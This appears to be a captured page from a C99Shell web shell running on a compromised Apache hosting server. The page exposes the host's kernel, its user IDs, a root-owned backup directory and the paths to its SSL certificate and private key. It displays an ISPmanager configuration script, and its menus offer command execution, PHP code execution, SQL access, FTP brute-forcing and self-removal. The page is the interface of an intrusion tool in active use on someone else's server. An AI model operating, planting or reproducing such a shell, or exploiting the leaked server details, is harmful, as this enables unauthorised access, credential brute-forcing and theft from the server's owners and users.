!C99Shell v. 2.0 [PHP 7 Update] [25.02.2019]!

Software: Apache/2.2.22 (Debian). PHP/5.6.36 

uname -a: Linux h05.hvosting.ua 4.9.110-amd64 #3 SMP Sun Nov 4 16:27:09 UTC 2018 x86_64 

uid=1389(h33678) gid=1099(h33678) groups=1099(h33678),502(mgrsecure) 

Safe-mode: OFF (not secure)

/root/scripts_backup/ispmgr/   drwxr-xr-x
Free 1.44 GB of 7.22 GB (19.95%)
Home    Back    Forward    UPDIR    Refresh    Search    Buffer    Encoder    Tools    Proc.    FTP brute    Sec.    SQL    PHP-code    Update    Feedback    Self remove    Logout    


Viewing file:     modx_mod.sh (2.84 KB)      -rwxr-xr-x
Select action/file-type:
(+) | (+) | (+) | Code (+) | Session (+) | (+) | SDB (+) | (+) | (+) | (+) | (+) | (+) |
#!/bin/bash
/bin/sed  -i 's/.*rewrite \^(\/manager.*//' /etc/nginx/nginx.conf; 


mkdir -p /home/hvosting/data/www/hvosting.hvosting.ua/manager/
echo "RewriteEngine on
RewriteBase /
RewriteCond %{HTTPS} !=on
RewriteRule (.*) https://%{HTTP_HOST}/manager/ [R=301,L] 
" > /home/hvosting/data/www/hvosting.hvosting.ua/manager/.htaccess
chown -R hvosting:hvosting /home/hvosting/data/www/hvosting.hvosting.ua/manager/


ip=`ifconfig eth0 | grep "inet addr:" | awk -F':' '{print $2}' | awk '{print $1}'`
if [ "x$ip" = "x" ]; then
	exit -1;
fi

echo "LoadModule ispmgr_module /usr/local/ispmgr/lib/apache/mod_ispmgr.so

#Alias /manager /usr/local/ispmgr/bin/
#Alias /manimg/ /usr/local/ispmgr/skins/
Alias /disabled/ /usr/local/ispmgr/www/disabled/
#Alias /mancgi/ /usr/local/ispmgr/cgi/

<Directory /usr/local/ispmgr/>
	Order allow,deny
	Allow from all
	AddDefaultCharset utf-8
</Directory>

<Directory /usr/local/ispmgr/cgi/>
	SetHandler directcgi-handler
	AddDefaultCharset utf-8
</Directory>

<Directory /usr/local/ispmgr/bin/>
	SetHandler ispwrap-handler
	AddDefaultCharset utf-8
	DirectoryIndex ispmgr billmgr vdsmgr dsmgr dnsmgr ipmgr
</Directory>

<IfModule mod_ssl.c>
<VirtualHost $ip:443>
        ServerName hvosting.hvosting.ua
        DocumentRoot /home/hvosting/data/www/hvosting.hvosting.ua 
        SuexecUserGroup hvosting hvosting
        CustomLog /home/httpd-logs/hvosting.hvosting.ua.access.log combined
        ErrorLog /home/httpd-logs/hvosting.hvosting.ua.error.log
        ServerAlias www.hvosting.hvosting.ua
        ServerAdmin webmaster@hvosting.hvosting.ua
        ScriptAlias /cgi-bin/ /home/hvosting/data/www/hvosting.hvosting.ua/cgi-bin/
        AddHandler fcgid-script .php .php3 .php4 .php5 .phtml
        SSLEngine on
        SetEnvIf User-Agent \".*MSIE.*\" nokeepalive ssl-unclean-shutdown downgrade-1.0 force-response-1.0
        SSLCACertificateFile /home/httpd-cert/AlphaSSLroot.crt   
        SSLCertificateFile /home/httpd-cert/_hvosting.ua.crt
        SSLCertificateKeyFile /home/httpd-cert/_hvosting.ua.key

        Alias /manager /usr/local/ispmgr/bin/
        Alias /manimg/ /usr/local/ispmgr/skins/
        Alias /mancgi/ /usr/local/ispmgr/cgi/


</VirtualHost>
</IfModule>
<Directory /usr/share/phpmyadmin>
        AllowOverride All
        FCGIWrapper /home/hvosting/data/php-bin/php .php
    AddHandler fcgid-script .php .php3 .php4 .php5 .phtml
#       RemoveHandler .php
#       AddType application/x-httpd-php .php
#       php_admin_value open_basedir /usr/share/phpmyadmin:/etc/phpmyadmin:/etc/phpMyAdmin:/tmp:.:..:./:../
#       php_admin_value upload_tmp_dir /tmp
#       php_admin_value include_path /etc/phpmyadmin:/etc/phpMyAdmin:.:..
#       php_admin_value session.save_path /tmp
#       php_admin_value safe_mode off

        DirectoryIndex index.php
        Order allow,deny
        Allow from all

</Directory>
" >  /usr/local/ispmgr/etc/ispmgr.inc

:: Command execute ::

Enter:
 
Select:
 

:: Search ::
  - regexp 

:: Upload ::
 
[ Read-Only ]

:: Make Dir ::
 
[ Read-Only ]
:: Make File ::
 
[ Read-Only ]

:: Go Dir ::
 
:: Go File ::
 

--[ c99shell v. 2.0 [PHP 7 Update] [25.02.2019] maintained by PinoyWH1Z | C99Shell Github | Generation time: 0.009 ]--